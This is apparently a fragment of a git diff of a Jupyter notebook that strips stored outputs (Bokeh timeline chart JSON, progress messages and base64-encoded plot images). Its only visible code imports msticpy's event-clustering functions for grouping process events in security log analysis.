"\n", - "\n", - "\n", - "\n", - "
\n" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "(function(root) {\n", - " function embed_document(root) {\n", - " \n", - " var docs_json = {\"beb65636-105d-478f-85f0-df36829d4856\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1834\"},{\"id\":\"1866\"}]},\"id\":\"1908\",\"type\":\"Column\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1857\",\"type\":\"PanTool\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"1932\"},{\"id\":\"1933\"},{\"id\":\"1934\"},{\"id\":\"1935\"},{\"id\":\"1936\"},{\"id\":\"1937\"},{\"id\":\"1938\"},{\"id\":\"1939\"},{\"id\":\"1940\"},{\"id\":\"1941\"},{\"id\":\"1942\"},{\"id\":\"1943\"}]},\"id\":\"1878\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1887\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1850\",\"type\":\"BasicTicker\"},{\"attributes\":{\"overlay\":{\"id\":\"1858\"}},\"id\":\"1854\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1920\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1922\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1934\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[\"%m-%d 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Querying data...

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Extracting features...

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Clustering data...

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FQ4bcTps2yzFjxgyOPPIwVl99DbbcchsGDbpqobTUB40mgJvZJ/ga8CAIgqCJ88YbY/n666/o27cfJSU+Xatr1+6ceuqZzJgxr/V+5JGHcfDBh9G1a3cmTZrIUUf14957R/Dkk49z553/oqSkhA4dOnDGGedwxRWX8N1333LKKf254IJBPPbYw/znP3dRVlaOtD7HHXcSLVu2ZJddeiJtwOTJ33HaaQOYPXs2M2fOpE0bWGqppTj99AG0aNESgL322pWrr76RBx64j1deeQnwnoMffpjCU089z7vv/perrrqMWbNm0qbNcpxyyumsuOLK9fKMIp1oEARBkDnef99Yd9315gbvHJtvviVt27at8fybbrqeyy+/hiFDbmfllVfh888/5dhjT2CFFdpzwQWD+Pjjjxgx4gGuv34Iw4bdSdu27bjrrtsA+OGHH+jV6wCGDbuTddddj6222oZ99tmdQw89gOuuu4o5c8pYddXV5rveEUccxbBhdzJ48DDatVuek08+k19//ZULLzyXs846jyFD7uCvf+3N+eefU5nchaLRtMCDuiHpU9yz/dOGVRIEQVAzJSXN5rZyF4Y//GErjjiiL1tv3YNtttmOddcVkyZNnHv8zTfH8sUX/6Nfv4MAmD37V9Zbb/25xzt12nDu5/79T+HAA/vy6qsv8+qrL9Gv30GcddY5bLPNdgtc96KLzqVz565sv/0OfPzxh0yc+AUnn3zc3OMzZkxf6HuqSATwYJESXuhBEBTC+utvwPDh91JeXj7fEqsbb7yWTTbZbO52/rHZs+etZDn22P58+OHuvPTSC5xzzhkcfPBhbLTRPF+tOXPK2G67nhx77AkAzJgxgzlz5uUMadmyFQBjxrzAzz/PYPvt/4+dd96NnXfejYceGs7DDz+4QAC/887bmDJlCqedNmDuNTp0WIVhw+5M23OYOvWHuj6auUQAzzhpffaF+Lrv2cCN6fMb+JyAVnjGt2NwD/PLzexySe1wM5rV8AmAraqo/2RgH3xZ2BOprl2BQfg691XxpX+b5V1/NXyJ3Slm9nRt7ie80IMgKISNN+5C27btGDJkMH36HEJpaSmvvPISjz76EOuss+7ccm3aLMcnn3xE167def750YAH8t699+aaawaz//4HMXv2bN5/3+jSpdvcIN2lSzfuvvt2DjywL8st15ZLL72ADh1WpW/ffvPpaNWqFZdffgkbbLAhK6/cgfLycj744H3WXVfzlXv55TE8/PAD3HDD0Lnd/mus0ZGpU6cyfvybbLxxFx555CGeeupxrr76xnp5RhHAs89euMnN73Bf8hfwYNzMzDaVdBaeWW0joD2+lvtyYCBun7qTpK3xID0fknYEuuEWtOW48U4vM7td0p54UpVtcX/0LyXdDQwxs4eSkcsLkjqbWcTdIGiCzJw1mxGX7l6UemuiWbNmXHjhZVx99aUccMC+NG/enDZtluOSS65k2rR5+bR79TqA884bwCOPPMRWW/UAoHnz5vTt249jj/0HLVu2pG3btpx22gCWWWZZVlrpNxx1VD+uvvpGDjroUI4++nDKy8tZZ5316N27zwI6unbtzsEHH8qJJx47t4W/2Wab06fPIfOVu+KKQcyZM4djjz1i7lLZ8867mHPOuZArrxzEL7/8wlJLLc1ZZw1cyKdWyTNqLOvAF1ckXQO8b2ZX5e0bDZxvZk+mTGM9zSznQFduZs2S2crfzOzttP8jYPv8MXBJg/DAnluOtyRwv5mdktzz3gFeNLO9U/nvgC/y5LUDdjOzqhK25NMR+KSmFngQBA3Hf//7Dh06rFFzwaAoTJz4GZ06bVDZoUa/Dnxx5VfmTwrTEU8ikm8BW9nrbGXe6RUpBa4ws8tS3cvllVsJt7z9raRWZjYzld8uL3HLysA3C3FPVRJe6FWTdX2QfY2hr3rKyspq9BFvrF7jWaE6fWVlZcXxQk+Zs/pJaiFp81roDerGc8CekpZINrCPA6vUcA64Vez+AJI2wXOdV2QUsL+k1smn/gFgr2R7OwwfVx+Nd8fnyv891bkBMIH5rWyDIAiCRURBLfDUTXsCPvY6HHhQ0mlmdlMRtQWAmQ2X1B2ftFYCXAnsW8CpZwHDJP0X93X/GCAlgnnUzDqb2QhJG+OpVEvxl4Nb8e/6azO7X9LTwARJ9wNH4f71b+Gt+961Hf8OL/QgCIL6oaAxcElv4Nm/njWzLpJWAx43s07VnxkEc+lIeKHXiazrg+xrDH3V89VXn7HSSqtXmxmrMXdRZ4Gq9JWXl/P115/Xygu90C70OWY2NbdhZv+j8jHVIAiCoJHSvHkLpk+fSkxuXrSUl5czffpUmjdvUavzCp3E9r2kzqTJVJJ6MW/mchAEQdAEaNu2PVOmfMu0aVWbjZSUlFBWlt0WbmPV17x5C9q2LSyj2dxzCix3DHAvsLakSXge7ljzEwRB0IQoLW3OCitUn2ijobv5a2Jx0ldQADez99Jkp/XwyU5mZr/Wi4IAScPw2d4DzKxj3vZoYLSZdaxj/ZsCe5rZwuXgC4IgCDJHobPQl8Rb3O3Srq0lYWbXFU1ZUJ9sgK/rbnDCCz0IgqB+KLQLfQSwHPBJ3r5yIAL4QpD8zS8FdgEm4r0ao6sovmSyMN0QmAL82cwmS9oFOBefiPgx0M/Mvk7uajvgXuUP4MvOBgKt09K/8ypoCS/0IAiCRkihs9BXATYxs73zfhbw1g4KZk+gC9AJ2JvKTVZytAcuM7MNga+Bv0paEQ+kfzazjYAXgWskrQH8ycw2xv3TNwBmAmcCD1USvPO90Lvg33MvM3sIeAn3Qh9K8kLHXwaGmFk3YDfgRknL1PlpBEEQBLWm0Bb423gX7FdF1LI40QP3HP8V+FbSo9WUnWhmr6bP/wVWADYFXs3zNR8MnAJ8Cfws6UXgYeAkM5spiSroibesX0/bSwKfp8/HMM8L/e688utLyjmzLQGsjSdQqRfat2/Y94GGvn5NZF0fZF9j6Ks7Wde4uOgrNID/B3hP0tu4NzcAZrZgNvOgEArxKa/sWO68ij0nzYDmZjZb0mbANsBOwEuStqmm7vBCz2Nxmr1aLLKuMfTVnaxrbEr66ssL/SzgfOAK4Nq8n2DheBrYR1JLSW2BHWt5/ivA71NiE4DDgGckdQGeBZ4zs/54C1p4UK7sZS280IMgCBophbbAp5vZxUVVshhhZg+mBCMT8GGJd2p5/teSDgOGS2oBfAb0NbNJkl7Cvctn4GPjjwFrAQMkXQhcRXihB0EQNHoK9UI/D58tfT8wK7c/15UaBAXQkfBCrxNZ1wfZ1xj66k7WNTYlfTV5oRfaAj8OaAlcnbevHG+1BUEQBEGwiCnUiW3JYgsJgiAIgqBwCnViawHsDLTGxz5LgXXM7LQiaguCIAiCoAoK7UL/Nz4RamXgTXzt8Ogiaao1aTb2J8BgM+uXt78zrvcgMxtWi/r64E5knczs67xrVOtLLmlN4HQz6yupO3C4mR0iqSs+w/tT/LmNTWYpBZPvZy5pN6C7mZ1ZmzqCIAiCpkOhAbwzsC5wPXAZvvzs+mKJWkgmAztKKjWzOWnfvsC3C1nfMsANwB61OGcN3NgEMxsLHJL27wLcbmanLqQWyPMzT8G/Vi8AWaG6NY0VCW/0IAiCqik0gE9KJiHvAxua2X8ktSmmsIVgGu4ItjXwTNr3f/iaaySVm1mz9LkP0MPM+lT0Djezs9O59wEbSdrPzO7Mv5CkpYCbgI3TeYPM7F/4Eq21JF2Lm98MAC5m3trpmXhPxmgzGybpn8DhuGHKiNS63hCfLNgaWBG4ALibPD9z3HEtp//3uMVpK+A73BP9Q0mjgVeBrXA71qPM7LEK99EaX8+/IT4scpGZ3SXpMqC9me0vaT98+diWQFfgcnztd+5a+f74NVKdF3pFwhs9CIKgago1cpmW/pCPxw1IfocHmKxxD7AXQFpn/RbwS1WFK/MOl9QqHf4F6ANcJqliJq8BwOTkT74dvsZ6I+BovHv8H7mCZvYo3pK/wcxyhig5fX/HbVE3ArpJ6oa32s81s02AbYFLzOwHKvEzT3MT7gaOTPdwA3BXns4WZrY58E888UlFTgdeT97mWwOnSVoLOA3oLulv+AvE/niAvxnYz8y64slYbqrq2QZBEATFpdAW+D+AQ/FMVX2B5/BEF1njIeBcSSV49/m/gb9WU75a73AzGytpCB4Y/5l33nb4c8DMvpP0IO5v/lYttG6Dt7p/TNs9ASSNw4cCTgFqelFaD5hiZq8lLf+RNDivd+Tx9O8E5qWCzacnsJSkg9P20vi4/8eSDgLG4C33D1PPwNrAQ3ne6svW4n4XikXtaby4eCgXk6xrDH11J+saFxd9hS4j+wA4MW3uWy9XLgJmNk3SeLy7dzvgZPICuKRmZlaOJ+GgQO/wAcAbwH55+yr1Iq+l3F/xtfQ5bR2AGcAteNrQEXjr+m/V1FFZD0pulQB4JjJY0Hs9RynupvZG0rASkDPnET5/oFte2Y/NrHMqW8oiyDG+KA0ZmpIBREORdY2hr+5kXWNT0lcnL3RJQyUNqeLnltrJXmTcA1yId2Xne3N+B3RKubh3A6jGO3wuZpbrSs9fMjeK1AKXtALwZ3x2eVWe45XxPLBTng/5XUB3fDz+TDN7EPhTukZpFXUbsHzqjkfSPsBntXDIGwUckc5dGe9BWF3SKniX++ZAV0k7Ae8B7SRtlc49GLhzwSqDIAiCRUFNwWZCJftWAI6lElu3jDACb8WeUWH/yXg3+VfAC8AKZvZmFd7hvfNPTF3pVwC90q6BwHUpO1spcJ6ZvSFpeWA5SbclDVWSyl+D590uwdOLPi1pAPBCmvA2Hn/Oa+IT0nJ+5u+lOmZJ2hfPBb403nqutockLUHbzcwOAc5O9zEh3ceJZvaRpEeAS1NXej98Qt5GeO7yK9M8ganAgdVdqzKq80KvSHijB0EQVE1BXug5JPXEk108BhxtZjOKJSxocnQkvNDrRNb1QfY1hr66k3WNTUlfvXihpy7eC/Cu5MPN7L4CtQZBEARBUARqDOCS1sXHZ6cBXczsi6KrCoIgCIKgWmqaxHYQnit6uJn1iOAdBEEQBNmgphb4LbjT2MmSTsrb3wwoN7OirwMOgiAIgmBBagrgay4SFU2QlPzkfXxpGsCSuDHKybkEKQXW0wOfPf9h2lWKm7tcZGY31JfeRUVtvNArEt7oQRAE86g2gJvZZ7nPktZKy4p2xj2xryq2uCbAxDzjk2bA+cC9uD95bRhrZj1yGynL2muS7jSzqfUldlFQGy/0ioQ3ehAEwTwKnYV+Y/r3Ctz/+glgCLBn8aQ1LcysXNJZwNeStgbOwa1Ly/AleS+nZXqX4nMTPmN+97d8OgLTgVn5iVkAUhKTAancqbi722+Bt3Ef8/m84SXtiK9rXwJPyXoonqzkddyh7iNgLHAKbs16CW4bWwoMM7PLF+6JBEEQBHWhUNewbnjSjZOBW83sFEljiyeraWJmv0j6AE9S8rCZXZIC6JaS3gTuAP5oZuMkXYAbpbyNJxYZhwf8trjr2w7JyKW6S24BrA9MBF4G/ogb3QAgqT3uWretmU1Jpi0XpRzmJ+EpY18ExpjZI5IOT/fRVVJL4AlJY83s+Xp6RDVSbI/jxcVDuZhkXWPoqztZ17i46Cs0gJeYWZmkHfBuYPBWWlB7ci4m/ZOV6yPANXjiki/NbByAmZ0Cc8fAx5pZjxQ0bwOm5hKY1MCE3MoBSe+yYEKTzYDVgWfSi0ApyQvdzIYma9b98HSj4MlPOkvaLm23TroXWQAvpkFDUzKAaCiyrjH01Z2sa2xK+urkhZ7Hh5IexXNZPyvpDmqXeStgbvpPAbcDG+BDEfvireKKyU3aSFo1/3wzm4V3ce+agissmKhkibzPM/M+V5bQpBR4wcw6p7H6TUjDIskudTX8JW/VvPIn5pX/PT6UEgRBECxiCm2BHwTsgf+x/0XS88C/iier6ZFSnJ6Nd2X3w1vbV0p6BngTT0yyoqQNzOwdPPtbOfB0fj1m9mMaSx8kaQSepOW3aZJcR9yzvFBeAW6WtJ6ZvY/7x6+CO+6dgyc7eQ4YJmnLtH1oum5L3FP+cLxLvyBq44VekfBGD4IgmEeh6ZTMte4AABNXSURBVESnSxpjZp+mWejtmb+lF1ROhzR2Dd56fRNPD9oauDMZ5cwBDkh5yHsD/0ot9Y+A/fEMZRW5GTgaOA4YhGcGMzzJyQs1iUq9KWemJC0HA/ekjGdfAL0l/R5PXPI7M/spTZQ7HrgcWDfdR3NgqJmNrs0DybIXehAEQWOioGQmuVnowBXASLzrd1kzi1noQaF0JJKZ1Ims64Psawx9dSfrGpuSvpqSmRQ6Bt4Nzxu9Bz4L/SBgjQLPDYIgCIKgnik0gJeYWRmwAz4OCjELPQiCIAgajIWZhT46zUIfXzxZQRAEQRBUx8LMQv91cZmFLukp4FozeyBtD8JnXbfLOZpJmghsYWaf1lDXQHw990OSyvEXoHJ8cttPeJ71twvU1Qx3W9sj1TELn5T2eDqeqz+fR8zstELqLyZ18UKvifBKD4JgcaI2s9DfB/4oaSgw3sxmFFdaJhgF/AF4IG33BF4CtgRGSVoHmF5T8AYwszMrbHfOfZZ0FDAY2LxAXfvg8xK6mtlsSesBL0rqZGbfVKw/S9TFC70mwis9CILFiUK90PsAJwCtgOHAg5JOM7ObiqgtC4zEZ94jqQPe0r0XtyQdhScleVLSp8Bd+ByB2fga6uPxJVfHm9k9koYBo81sWCXXeYbkcJe8zL8HOuHWqu3N7Kh07FJ8qVcZ3nJvCcw2s/cl7YWbwRRMegG5Hlge90w/CjfoeQm40cxukTQY+MHMTpR0AHAsPvTyOvAPM5tZee1BEARBMSm0C/1ovHX4rJl9I6kbntiiqQfw14G1kyvZH4En089w4CRga+BBYGfgKzPrnnooTsb9zv+AvwDcU9UFUnf4X/GgmeMtM/tL8ip/U9KxeNDeE3c/m4W3wr9Nwxmj8NUBU/LqHcf8nGRmT1TYdytwpJm9KWkDYLiZSdKBwNOSZuAe+JtK6oS7wG2R1qxfAPQHzq3pIS5K6uoxvLh4KBeTrGsMfXUn6xoXF32FBvA5ZjY1lzjDzP4nqcnbYpnZHEkv42Yqf8THwz+RtJSktvhLzTGp+GPp389wl7XZkj7Dk48sQF6AbQm8CxyWd/iVdP1vJY3HXwZ+8V32VSrzB0m/w1v9uwInStrEzD5O51bbhS6pNW6dOjQvIUprScub2buSrsJ917sk971t8R6Fl1P5FsAb1V2jIajL+s+mtH60oci6xtBXd7KusSnpq8kLvdAA/n3KQV0OIKkXKenFYkBuHHxToHfa9zSwO/Bd3otNfprOGl9uagiw+YPEt+F+6b/gHupIOg4YaWbj8Wxll6WVAXvi6T4LoRSYWWEsflXmfa/rA5OBLukapcA9ZnZ0Ktuawv//BEEQBPVMoX+Aj8HHfteWNAkPMLsXTVW2GAn8G3jbzHKB+Sk8h/a9i+D6D+Ie6iV4tz1AG+AcSfuZ2TRJywJrA8MKrTR5qn8gqbeZ3Z4yzd2If8c7Axvj6UiflTQS9zvvL+lc4Ft87Pwj5uUeL4i6eKHXRHilB0GwOFHoLPT3UurLdfCW2Ht5waxJY2YTJC0PXJe3exQ+rv3UIrj+z5JeBFqa2bS0+xzgPOAtSTPx8fFrzGyunkrGwD80s73ScraJZnYD0Au4QdKJeAt/X/zl4HpgDzP7SNIVwGAz21nS2fi9lwDj8FzitSLLVqpBEASNiUK90LcFrjCzjdNkppH4H/iXajg1CHJ0JLzQ60TW9UH2NYa+upN1jU1JX315oV+Cm7lgZv8FdsIzUwVBEARB0AAUGsBbmNncGcfpc8viSAqCIAiCoCYKDeAzJO2Y25C0PTCtmvJBEARBEBSR2sxCH5639rsM+EtxJAX5SNoJN8x51sz2a2g9daW6NY3hZR4EQVA4hc5Cf0XS6sDv8DXOlkvmERSdvYCzzWxwQwupD6rzQg8v8yAIgsIp1Au9BDgO+BOwBO7/ff7ispSsrkjqAZyBe5WvCbyKW5D+G3gP9z1/AxgD9MHd2/bADWT+DPSUVIavxa5X73JJm+ATEpcCvgP6pX/fBvqa2UhJTwAPmtl1kk7GbVxLgSdwi9ZsTisPgiBowhTahX4BbuxxJR4MDsNnpv+zSLqaIlsAnYH38TXkOwMb4bP7x6f9E81sc0lnAYeZ2T8lbUlKgpLWg9ebd7mkFsDNwK5m9rmkPwI3mVlPSQcD1ydL1bIUvHfEs6Btgrvy3YavJb+9vh5SQ3sYN/T1ayLr+iD7GkNf3cm6xsVFX6EBfEegu5n9CiDpETzoRAAvnOfMzAAk3Ya/BH1lZm+mfV/g6+vB/dTXzD+5SN7l6+EObg/l1bksgJmNkjQKz5K2fjrWE9gMb80DLAl8vnCPo3Iacv1mU1o/2lBkXWPoqztZ19iU9NWXF3pJLngDmNksSbVKXRnM549ekrYrziOobkiiGN7lpcDHuTollQIrpc/NAOFd9QImpfJXmNllqcxyNWgOgiAIikShAXycpMuBa/Cu0yPxsdegcLaUtAoeCA/As5dVmzEsnyJ5l78HtJO0lZk9DxyMd4n3AP6OLxXcHbgjWemOAgamcfaZwAO4//qwQu+jOi/08DIPgiAonELXgf8Dn1g1BngZaI9PoAoKZyLwL+Ad4Es8o1lt6QUcIuktfF5Cvnf5oWb2EZ5/fHDKVJbzLv8v3nq+EEDSzZJ2M7NZwN7ApanOA4G+ktYETscnvb2KT1a72MxGAPfh6U4n4H7ot9bmBiZPnsa33/5U6U8sIQuCICicQr3QLzCzUxaBniZJmoU+wMx6NLCUhqQj4YVeJ7KuD7KvMfTVnaxrbEr66ssLfZdCxQVBEARBUHwKHQP/WNKTwAvkWajmJjMF1WNmo/Fx5SAIgiCoFwoN4LmZzt2AOcAPxZETBEEQBEEhFBrALyKtMU7bLwL7F0VRMBdJAwDMbEAd6zkbeDrNNG9QqlvTmAUWFwOIYpJ1jaGv7mRdY5b0FTPHQ6EBfCieUGMo0Ay327wF2KEoqoL6ZhvgmYYWAdV7oQdBEDQ1ipnjodAAvlSFZBpXSzq0GIKaCskI5ULc03w2vmb7MWAw0A6YDhxtZq9JGgb8iA9RrAIMNLOhqapNJY1J+4ea2YDkTX8FsD3J0tTMLkrGLncAS+MZ447G3da6AzdL2sPM3s7TuFLStVoqf4qZPS3pPuAdMztD0qlAZzPbJ1mpDsT98D/Bl65Nrv+nFwRBENREoQH8PUlbmNkYAEkb4n/Ag6rZC09G8js84L2Ar6c/2czul/R74F5J66XyqwFbARviJiy5AL4SbtCyDPCZpEvx4YvVcC/1lsBoSRPwQP2wmV2Sgu2WZjYo+ZoPyA/eiSuBIWb2kKSVgRckdQaOAN6QNA73U+8mqT3+QrKtmU2R1A8fWjmk3p5YEARBE6Ril/6i9kJfA3f4Go+3JrsAXyXzD8xso3pR07TYBrcynQXMSklJPjez+wHM7GVJ3+M2pQBPmll5CsTt8up5LK+O79Kx7YBhZjYHmCHpDrw1fh9wf3JNewR3zquOnsD6kgam7SWAtc1snKTjgXuBXczse0m7AKsDzyTf9FLmTW4MgiAIqiB/3XdDeKGfVGC5YB6/4t3bOdbC5w/k04x538FMgBTE88vk+4uWp3Mqrt9vBjQ3sxdTlrJdcJe2PlQ/T6EU2M7MvgdIrfBv0rH10+du+MtAKfCCme2WyrYCsj0jLQiCoAlTUAA3s2eLLaQJ8hxwjKQb8JbtPUC5pL/kdaH/BrckrS2jgAMlPYx3ofcCzpd0MfClmV0p6RngzVR+NpV/16Nwz/NzU+B/HugoaW3cVrUb3q3+IG6ferOk9czsfTy/+Sr4S0LBVOeFHgRB0NQoZo6HQlvgQS0xs+GSuuMpPEvw8eZngBvSsq5ZwF9S6s/aVn8jPjltPP5ycEe63ljgTkkH4ev1D0jlH0/XPQAfN+9gZmfifvaD01BIM6A33hMwDDjOzL6Q1B/3O98ET3ZyT8pa9kUqXyvCSnXhybo+yL7G0Fd3sq4x6/rqk4K80IOgHuhIeKHXiazrg+xrDH11J+sam5K++vJCD4IgCIIgQ0QAD4IgCIJGSATwIAiCIGiExBh4I0dSB+BmM9upmjKbAnuaWUMuB+xImP8EQVBkfvl1Dj/+MKOhZVRJfY6Bxyz0Ro6ZTQSqDN6JDXBHtwYnvNCDICgmIy7dvaElLDIigDcAVfikl+Jrr8uAV82sXzJLuRbYEjeGOcfM/i3pU3xddmfcVvUeM+uYPNV/xpd8LQucA4zA/ctbSzrNzM6roOVkYJ90/Sdw055dgUH4krNVcWvXzfK0zuedXr9PJwiCICiECOANQ0Wf9Jdw57Ol8PXbt0haBdgPdzv7LbAiMFLS8FTHY2a2r6SOFepeG9gcb3G/DjwFnAn0qCR474ibtWxCSooC9DKz2yXtCZwKbAv0N7MvJd1NJd7pZpbdNRtBECx2ZCmdaGUsai/0oH6Zzycd+F1yO3sNeBC4NAXMbYDBZlYGfAV0AkjGL69UUfdQM/sV+ELSi3jrvSp64i3r19P2ksDn6fMxwDvAi2Z2d175BbzTgXEF33kQBEGRaYLrwCslAnjDMJ9PempF74d3Wf8JeFxSr0rKrcO8AFvVQHK+b19Jhe2KlAJXmNllqf7l8sqvhPcG/FZSKzObSfXe6UEQBMEiJAJ4w1DRJ30k0AFob2YvpbzeG6Vy+ybP8/bAs3hXe3XsI+lePHPYZkBf/KWgKi/0gZIG4xaqDwDDJN2G26keg2c+GwicSBXe6VB4vvrwQg+CoJj88uuchpawyIgA3gBU4pM+CGgFvCZpBmDAELw1fBXueQ5wlJn9VIN3+lLAWDzJyWFmNlnSq8AASRem+h41s85mNkLSxnh3fCnumX4rcALwdUq68jQwQdL9VOKdXtvx77BSXXiyrg+yrzH01Z2sa8z6+Hd9EuvAmxBpFvpoMxvWwFIqY23gwylTpmc2gC+/fGsmT57W0DKqJOv6IPsaQ1/dybrGpqSvpKQZbdsuDbAO8FHF49ECDxYVKwO5/4yZpboJI1kg6/og+xpDX93JusYmqG9lKgng0QIPFhUt8eVqk/DJcUEQBEH1lOLB+zV8xdJ8RAAPgiAIgkZIJDMJgiAIgkZIBPAgCIIgaIREAA+CIAiCRkgE8CAIgiBohEQAD4IgCIJGSATwIAiCIGiERAAPgiAIgkZIOLEFRUfSfsDpeOKWK8zs2gaWBICkZYExwC5m9qmknsBleFrVf5vZ6Q2o7Sxgn7T5iJmdmCV9ACmt7F54xrxbzOyyrGkEkDQIWMHM+mRNn6RngBXxzIMA/YBlyIhGSbsCZwFLA0+a2TFZeYaSDgGOzNu1JnAbnpSpwfXlkNQbOCVtPmZm/evrGYaRS1BUJK0CvAB0w52ExgB/M7N3GljXZsBNeHa39YCv8SQy2wD/Ax7BXzYeawBtPYGzgW3x4Pg4cDNwURb0JY3bAOcBPfAXs3eAPwMjsqIRQNL2wN1JyxFk5DtO2poBXwBrmNnstG/JrGiUtBaecXAz/PdjFHA+cGMW9OUjqRMeuLcDXiQj+iQthX/H6wE/JG3nAtfWh8boQg+KTU9glJl9b2bTgXvxVltDcyjwD2Bi2t4U+MDMPkl/TG8H9m4gbZOA483sFzP7FXgX/wOQFX2Y2bPAtknLinhv3nJZ0iipHf6ScX7alaXvGCCXVvBJSeMlHUm2NO6Btw6/SP8P9wVmZEhfPtcDpwJrkS19pXicXRp/0V0CmEo9aYwAHhSbDnhAyjEJWLWBtMzFzA4xs+fzdmVGp5n918xeBpC0Lt6VXkZG9OUws18lnY23vnM57bOk8UbgNGBK2s6avrb4c9sD2B44HFid7GhcByiV9JCkccDfyd4zzPVYLWlm/yFj+lK65TOA9/CW+KfUo8YI4EGxKcG7gXM0w4NR1sicztQt+BSen/1jMqYPwMzOAtoDq+G9BJnQmMZH/2dmI/N2Z+o7NrOXzOwAM/vRzL4DbgEGkh2NzfEetL7A5nhX+lpkR1+Ofvh4MmTsO5a0EXAwsAYeuOdQj78nEcCDYvMFKZVo4jfM67bOEpnSKekPeOvsZDO7lezpW19SZwAzmwHcj4+HZ0XjvsD/pZbjQGA34BCyow9JW6Yx+hzN8BZaVjR+BTxtZt+a2c/AcDygZ0UfklrgY8kPpV2Z+j0B/giMNLNvzGwWMIx6/D2JWehBsXkaGCCpPTAd2BM4rGElVcorgCStA3wC7AcMaQghklbDJ+Tsa2ajsqYvsRZwtqQt8dbE7niX9SVZ0GhmO+Q+S+qD/9E8HPggC/oSywEDJW2Bj40eiGu8JyMaHwZulbQc8BPwJ3wOy8kZ0QewEfB+ml8D2fs9GQ9cLGlpfP7ArrjGXvWhMVrgQVExsy/xcchngHHAnWb2asOqWhAzmwn0Ae7Dx3Tfw/9YNQT9gVbAZZLGpVZknwzpw8wexWfPvgm8Dowxs7uzpLEiGfuOMbOHmf8ZDjGzl7Ki0cxeAS7GV5G8A3yGTxbLhL7EWnirG8jkd/wkcBf+/b6Fv6gNoJ40xjKyIAiCIGiERAs8CIIgCBohEcCDIAiCoBESATwIgiAIGiERwIMgCIKgERIBPAiCIAgaIRHAgyAIgqAREgE8CIIgCBohEcCDIAiCoBHy/xjciJJjwre9AAAAAElFTkSuQmCC\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "from msticpy.sectools.eventcluster import dbcluster_events, add_process_features\n", "from tqdm.notebook import tqdm\n", @@ -3687,35 +625,9 @@ }, { "cell_type": "code", - "execution_count": 19, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:19:52.943265Z", - "start_time": "2020-05-16T02:19:51.149746Z" - } - }, - "outputs": [ - { - "data": { - "image/png": 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27dtz4sQJ4GHi1bhxY6pWrZrp9/M84uzszLx589i+fTuurq7MnTuXgQMH0r9//2fu38XFhVWrVvHgwQP69++Ph4cHa9euZcSIEemOx54+fTo1atRgwIABdOvWjcTERL7++uvn+t1IT2Jtbc2cOXPYt28fHTp0YPTo0TRq1IhmzZo98+vp4+NDz549mThxIu+99x7Ozs4ZnhH6bxQoUIClS5dy9+5dunTpQv/+/alRowZz5sz5222VLFmSxYsXc+LECTw8PBg/fjyenp5P/KLZfv36UaRIEaZPn46FhQXBwcEULVqUHj160L17d4oWLcqiRYue6WCHmjVrMm3aNJYtW0bbtm2ZMGECvXv3zvA9Wn9lML3Ib6oSERERkTyhU6dOdOnShffeey+7QxF5Ip32JiIiIiL/tR9//JHDhw/zn//8J8stbyI5gZIfEXlhbtyIJy3tyYvL9vYFuHXr/hPvv2xy23gg940pt40HNKaXQW4bD6Qf09Klyzl58jijRo3jwQMTDx48/Sjq7ODg8PeeZ5HcScmPiGQbK6tn/7K2l0FuGw/kvjHltvGAxvQyyG3jgfRjmj3782yMROTv0YEHIiIiOUhk5G4iI3dndxgiIrmSVn5ERERykK++WgpAkybvZG8gIiK5kFZ+REREREQkT1DyIyIiIiIieYKSHxERERERyROU/IiIiIiISJ6g5EdERERERPIEnfYmIiKSgyQnJ2V3CCIiuZaSHxERkRzEaDRmdwgiIrmWtr2JiIiIiEieoORHRERERETyhBeW/Kxfvx4PDw/zn7p16zJ58mTWrl2Lq6srbm5ujBkzhuTk5Ax1L126xIcffkjbtm0ZMGAACQkJGcpcvXqVXr164e7uTpcuXTh58iQAJpOJBQsW4OnpSZs2bQgLCwMebiOYOHEirq6udOjQgeXLl5vb2rVrF15eXrRr146pU6dmOa5Ro0YREhLy1FgvXLhA9+7dcXNzw9vbm/Pnz2fZrp+fX7r5cnZ2Zvv27VnG/bh9+/bh5uZG69at+fTTTzMt8/PPP+Pl5YWbmxv9+/fnzp07AMTHx/PJJ5/g6emJp6cnx48fN8+xj48PHh4edOzYkf3792c5x3+1aNEi2rRpg5ubG8HBwebrhw8fpmvXrnTo0IGPP/440/fA04SEhODr6/u36+V0jo6OWd6PiYlh7Nix/1A0IiIiIrnLC0t+unTpQnh4OOHh4cyePZvixYvj6enJkiVLWLNmDZs2bSItLY1Vq1ZlqDtp0iQ++OADtm/fTvXq1QkKCspQ5tNPP6VNmzZs2rSJIUOGMGnSJAA2bdrEvn37WLduHV9//TUBAQHcvXuXkJAQbt++zaZNm1i/fj3r1q3j+PHjxMTEMHHiRIKCgti0aRMnTpzgxx9/zNBfXFwc/fv3Z8eOHc8U65gxY/Dy8iIiIoJPPvmEf/3rX1nO1+TJk83z5e3tTcOGDWnTps0T435cYmIiY8eOJSgoiK1bt3Ls2LFMxzBmzBgCAgKIiIjgjTfeYMmSJQDMmDGDV199lbCwMD7++GP8/f0BCAgIoEWLFoSHhzNnzhxGjBiB0Wh84hw/bt++fURERLBx40bCwsL47bff2LlzJ/Hx8QwZMoTJkyezZcsWADZs2JDl3Mj/c+nSJWJiYrI7DBEREZGX0j9y4IG/vz/Dhw+nePHiTJw4ETs7OwCqVKnCp